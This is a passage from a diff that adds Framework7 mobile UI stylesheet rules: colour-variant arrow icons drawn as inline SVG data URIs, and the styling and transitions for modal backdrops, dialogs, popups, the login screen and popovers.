.icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-orange, +.md a.link .color-orange .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-orange, +.md a.link .color-orange .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-orange, +.md a.link .color-orange .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-orange, +.md a.link .color-orange .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-gray, +.md a.link .color-gray .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-gray, +.md a.link .color-gray .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-gray, +.md a.link .color-gray .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-gray, +.md a.link .color-gray .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-white, +.md a.link .color-white .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-white, +.md a.link .color-white .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-white, +.md a.link .color-white .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-white, +.md a.link .color-white .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-back.color-black, +.md a.link .color-black .icon-back { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-forward.color-black, +.md a.link .color-black .icon-forward { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-next.color-black, +.md a.link .color-black .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon-prev.color-black, +.md a.link .color-black .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .icon.color-red { + color: #f44336; +} +.md .icon.color-green { + color: #4caf50; +} +.md .icon.color-blue { + color: #2196f3; +} +.md .icon.color-pink { + color: #e91e63; +} +.md .icon.color-yellow { + color: #ffeb3b; +} +.md .icon.color-orange { + color: #ff9800; +} +.md .icon.color-gray { + color: #9e9e9e; +} +.md .icon.color-white { + color: #ffffff; +} +.md .icon.color-black { + color: #000000; +} +.custom-modal-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.custom-modal-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.custom-modal-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +/* === Dialog === */ +.dialog-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.dialog { + position: absolute; + z-index: 13500; + left: 50%; + margin-top: 0; + top: 50%; + overflow: hidden; + opacity: 0; + -webkit-transform: translate3d(0, 0, 0) scale(1.185); + transform: translate3d(0, 0, 0) scale(1.185); + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: transform, opacity; + transition-property: transform, opacity, -webkit-transform; + display: none; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.dialog.modal-out { + opacity: 0; + z-index: 13499; +} +.dialog.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.dialog-inner { + position: relative; +} +.dialog-title { + font-weight: 500; +} +.dialog-buttons { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.dialog-buttons-vertical .dialog-buttons { + display: block; + height: auto !important; +} +.dialog-no-buttons .dialog-buttons { + display: none; +} +.dialog-input-field { + position: relative; +} +.dialog-input-field .item-input-wrap { + margin: 0; + padding: 0; +} +.dialog-input { + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + margin-top: 15px; + border-radius: 0; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + width: 100%; + display: block; + font-family: inherit; + -webkit-box-shadow: none; + box-shadow: none; +} +html.with-modal-dialog .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +.ios .dialog { + width: 270px; + margin-left: -135px; + text-align: center; + border-radius: 13px; + color: #000; +} +.ios .dialog.modal-out { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.ios .dialog-inner { + padding: 15px; + border-radius: 13px 13px 0 0; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-inner:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-title { + font-size: 18px; + text-align: center; + font-weight: 600; +} +.ios .dialog-title + .dialog-text { + margin-top: 5px; +} +.ios .dialog-buttons { + height: 44px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .dialog-button { + width: 100%; + padding: 0 5px; + height: 44px; + font-size: 17px; + line-height: 44px; + text-align: center; + color: #007aff; + display: block; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + overflow: hidden; + cursor: pointer; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-flex: 1; + -ms-flex: 1; + background: rgba(255, 255, 255, 0.95); +} +.ios .dialog-button:first-child { + border-radius: 0 0 0 13px; +} +.ios .dialog-button:last-child { + border-radius: 0 0 13px 0; +} +.ios .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:first-child:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-button.dialog-button-bold { + font-weight: 500; +} +.ios .dialog-button.active-state { + background: rgba(230, 230, 230, 0.95); +} +.ios .dialog-buttons-vertical .dialog-buttons { + height: auto; +} +.ios .dialog-buttons-vertical .dialog-button { + border-radius: 0; +} +.ios .dialog-buttons-vertical .dialog-button:last-child { + border-radius: 0 0 13px 13px; +} +.ios .dialog-buttons-vertical .dialog-button:last-child:after { + display: none !important; +} +.ios .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .dialog-button:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .dialog-button:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .dialog-buttons-vertical .dialog-button:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.2); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .dialog-no-buttons .dialog-inner { + border-radius: 13px; +} +.ios .dialog-no-buttons .dialog-inner:after { + display: none !important; +} +.ios .dialog-input-field { + margin-top: 15px; +} +.ios .dialog-input-field .item-input-wrap { + margin: 0; +} +.ios .dialog-input { + height: 26px; + background: #fff; + padding: 0 5px; + border: 1px solid rgba(0, 0, 0, 0.3); + font-size: 14px; +} +.ios .dialog-input + .dialog-input { + margin-top: 5px; +} +.ios .dialog-input-double + .dialog-input-double { + margin-top: 0; +} +.ios .dialog-input-double + .dialog-input-double .dialog-input { + border-top: 0; + margin-top: 0; +} +.ios .dialog-preloader .dialog-title ~ .preloader, +.ios .dialog-preloader .dialog-text ~ .preloader { + margin-top: 5px; +} +.ios .dialog-preloader .preloader { + width: 34px; + height: 34px; +} +.ios .dialog-progress .dialog-title ~ .progressbar, +.ios .dialog-progress .dialog-text ~ .progressbar, +.ios .dialog-progress .dialog-title ~ .progressbar-infinite, +.ios .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 15px; +} +.ios .dialog-button.color-red { + color: #ff3b30; +} +.ios .dialog-button.color-green { + color: #4cd964; +} +.ios .dialog-button.color-blue { + color: #007aff; +} +.ios .dialog-button.color-pink { + color: #ff2d55; +} +.ios .dialog-button.color-yellow { + color: #ffcc00; +} +.ios .dialog-button.color-orange { + color: #ff9500; +} +.ios .dialog-button.color-gray { + color: #8e8e93; +} +.ios .dialog-button.color-white { + color: #ffffff; +} +.ios .dialog-button.color-black { + color: #000000; +} +.md .dialog { + width: 280px; + margin-left: -140px; + border-radius: 4px; + color: #757575; + background: #fff; + font-size: 16px; + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12); +} +.md .dialog.modal-in { + opacity: 1; + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); +} +.md .dialog.modal-out { + opacity: 0; + z-index: 13499; + -webkit-transform: translate3d(0, 0, 0) scale(0.815); + transform: translate3d(0, 0, 0) scale(0.815); +} +.md .dialog-inner { + padding: 24px 24px 20px; +} +.md .dialog-title { + font-size: 20px; + color: #212121; + line-height: 1.3; +} +.md .dialog-title + .dialog-text { + margin-top: 20px; +} +.md .dialog-text { + line-height: 1.5; +} +.md .dialog-buttons { + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .dialog-buttons-vertical .dialog-buttons { + padding: 0 0 8px 0; +} +.md .dialog-buttons-vertical .dialog-buttons .dialog-button { + margin-left: 0; + text-align: right; + height: 48px; + line-height: 48px; + border-radius: 0; + padding-left: 16px; + padding-right: 16px; +} +.md .dialog-button { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + letter-spacing: 0.03em; + font-weight: 500; +} +input[type="submit"].md .dialog-button, +input[type="button"].md .dialog-button { + width: 100%; +} +.md .dialog-button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .dialog-button.dialog-button-bold { + font-weight: 700; +} +.md .dialog-button + .dialog-button { + margin-left: 4px; +} +.md .dialog-input { + height: 36px; + padding: 0; + border: none; + font-size: 16px; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + position: relative; +} +.md .dialog-input::-webkit-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input:-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::-ms-input-placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input::placeholder { + color: rgba(0, 0, 0, 0.35); +} +.md .dialog-input + .dialog-input { + margin-top: 16px; +} +.md .dialog-preloader .dialog-title, +.md .dialog-progress .dialog-title, +.md .dialog-preloader .dialog-inner, +.md .dialog-progress .dialog-inner { + text-align: center; +} +.md .dialog-preloader .dialog-title ~ .preloader, +.md .dialog-preloader .dialog-text ~ .preloader { + margin-top: 20px; +} +.md .dialog-progress .dialog-title ~ .progressbar, +.md .dialog-progress .dialog-text ~ .progressbar, +.md .dialog-progress .dialog-title ~ .progressbar-infinite, +.md .dialog-progress .dialog-text ~ .progressbar-infinite { + margin-top: 16px; +} +.md .dialog-button.color-red { + color: #f44336; +} +.md .dialog-button.color-green { + color: #4caf50; +} +.md .dialog-button.color-blue { + color: #2196f3; +} +.md .dialog-button.color-pink { + color: #e91e63; +} +.md .dialog-button.color-yellow { + color: #ffeb3b; +} +.md .dialog-button.color-orange { + color: #ff9800; +} +.md .dialog-button.color-gray { + color: #9e9e9e; +} +.md .dialog-button.color-white { + color: #ffffff; +} +.md .dialog-button.color-black { + color: #000000; +} +/* === Popup === */ +.popup-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + z-index: 10500; +} +.popup-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popup { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.popup.modal-in, +.popup.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popup.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popup.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.popup.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +@media (min-width: 630px) and (min-height: 630px) { + .popup:not(.popup-tablet-fullscreen) { + width: 630px; + height: 630px; + left: 50%; + top: 50%; + margin-left: -315px; + margin-top: -315px; + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-in { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + .popup:not(.popup-tablet-fullscreen).modal-out { + -webkit-transform: translate3d(0, 100vh, 0); + transform: translate3d(0, 100vh, 0); + } +} +@media (max-width: 629px), (max-height: 629px) { + html.with-statusbar .popup-backdrop { + z-index: 9500; + } + html.with-statusbar.device-ios .popup, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup { + height: calc(100% - 24px); + top: 24px; + } +} +@media (min-width: 630px), (min-height: 630px) { + html.with-statusbar.device-ios .popup-tablet-fullscreen, + html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 20px); + top: 20px; + } + html.with-statusbar.device-iphone-x .popup-tablet-fullscreen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + } + html.with-statusbar.device-android .popup-tablet-fullscreen, + html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen { + height: calc(100% - 24px); + top: 24px; + } +} +html.with-modal-popup .framework7-root > .views .page-content, +html.with-modal-popup .framework7-root > .view .page-content, +html.with-modal-popup .framework7-root > .panel .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +@media (min-width: 630px) and (min-height: 630px) { + .md .popup:not(.popup-tablet-fullscreen) { + -webkit-box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + box-shadow: 0px 20px 44px rgba(0, 0, 0, 0.5); + } +} +/* === Login Screen === */ +.login-screen { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + background: #fff; + z-index: 11000; +} +.login-screen.modal-in, +.login-screen.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.login-screen.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.login-screen.modal-in { + display: block; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.login-screen.modal-out { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +html.with-statusbar.device-ios .login-screen, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 20px); + top: 20px; +} +html.with-statusbar.device-iphone-x .login-screen { + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); +} +html.with-statusbar.device-android .login-screen, +html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen { + height: calc(100% - 24px); + top: 24px; +} +.login-screen-content { + background: #fff; +} +.login-screen-content .login-screen-title, +.login-screen-content .list, +.login-screen-content .block, +.login-screen-content .block-footer, +.login-screen-content .block-header { + max-width: 480px; +} +.login-screen-content .list ul { + background: none; +} +.login-screen-content .list ul:before { + display: none !important; +} +.login-screen-content .list ul:after { + display: none !important; +} +.login-screen-content .block-footer, +.login-screen-content .block-header { + text-align: center; + margin-left: auto; + margin-right: auto; +} +.login-screen-title { + text-align: center; +} +.ios .login-screen-content .login-screen-title, +.ios .login-screen-content .list, +.ios .login-screen-content .block { + margin: 25px auto; +} +.ios .login-screen-title { + font-size: 30px; +} +.ios .theme-dark .login-screen-content, +.ios .theme-dark .login-screen-content .list ul { + background-color: transparent; +} +.md .login-screen-content .login-screen-title, +.md .login-screen-content .list, +.md .login-screen-content .block { + margin: 24px auto; +} +.md .login-screen-content .list-button { + text-align: center; + color: #2196f3; +} +.md .login-screen-title { + font-size: 34px; +} +.md .theme-dark .login-screen-content, +.login-screen-content.md .theme-dark { + background: none; +} +.md .color-theme-red .login-screen-content .list-button { + color: #f44336; +} +.md .color-theme-green .login-screen-content .list-button { + color: #4caf50; +} +.md .color-theme-blue .login-screen-content .list-button { + color: #2196f3; +} +.md .color-theme-pink .login-screen-content .list-button { + color: #e91e63; +} +.md .color-theme-yellow .login-screen-content .list-button { + color: #ffeb3b; +} +.md .color-theme-orange .login-screen-content .list-button { + color: #ff9800; +} +.md .color-theme-gray .login-screen-content .list-button { + color: #9e9e9e; +} +.md .color-theme-white .login-screen-content .list-button { + color: #ffffff; +} +.md .color-theme-black .login-screen-content .list-button { + color: #000000; +} +.md .login-screen-content .list-button.color-red { + color: #f44336; +} +.md .login-screen-content .list-button.color-green { + color: #4caf50; +} +.md .login-screen-content .list-button.color-blue { + color: #2196f3; +} +.md .login-screen-content .list-button.color-pink { + color: #e91e63; +} +.md .login-screen-content .list-button.color-yellow { + color: #ffeb3b; +} +.md .login-screen-content .list-button.color-orange { + color: #ff9800; +} +.md .login-screen-content .list-button.color-gray { + color: #9e9e9e; +} +.md .login-screen-content .list-button.color-white { + color: #ffffff; +} +.md .login-screen-content .list-button.color-black { + color: #000000; +} +/* === Popover === */ +.popover-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + background: rgba(0, 0, 0, 0.4); + z-index: 13000; + visibility: hidden; + opacity: 0; + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.popover-backdrop.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-backdrop.backdrop-in { + visibility: visible; + opacity: 1; +} +.popover { + width: 260px; + z-index: 13500; + margin: 0; + top: 0; + opacity: 0; + left: 0; + position: absolute; + display: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.popover .list { + margin: 0; +} +.popover .list ul { + background: none; +} +.popover .list:first-child ul:before { + display: none !important; +} +.popover .list:last-child ul:after { + display: none !important; +} +.popover.modal-in { + opacity: 1; +} +.popover.not-animated { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +.popover-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.popover-from-actions-bold { + font-weight: 600; +} +.popover-from-actions-label { + line-height: 1.3; + position: relative; +} +.popover-from-actions-label:last-child:after { + display: none !important; +} +.ios .popover { + background: rgba(255, 255, 255, 0.95); + border-radius: 13px; + -webkit-transform: none; + transform: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.ios .popover .list:first-child ul { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:first-child li:first-child, +.ios .popover .list:first-child li:first-child a, +.ios .popover .list:first-child li:first-child > label { + border-radius: 13px 13px 0 0; +} +.ios .popover .list:last-child ul { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:last-child li:last-child, +.ios .popover .list:last-child li:last-child a, +.ios .popover .list:last-child li:last-child > label { + border-radius: 0 0 13px 13px; +} +.ios .popover .list:first-child:last-child li:first-child:last-child, +.ios .popover .list:first-child:last-child li:first-child:last-child a, +.ios .popover .list:first-child:last-child li:first-child:last-child > label, +.ios .popover .list:first-child:last-child ul { + border-radius: 13px; +} +.ios .popover .list + .list { + margin-top: 35px; +} +.ios .popover-angle { + width: 26px; + height: 26px; + position: absolute; + left: -26px; + top: 0; + z-index: 100; + overflow: hidden; +} +.ios .popover-angle:after { + content: ''; + background: rgba(255, 255, 255, 0.95); + width: 26px; + height: 26px; + position: absolute; + left: 0; + top: 0; + border-radius: 3px; + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.ios .popover-angle.on-left { + left: -26px; +} +.ios .popover-angle.on-left:after { + left: 19px; + top: 0; +} +.ios 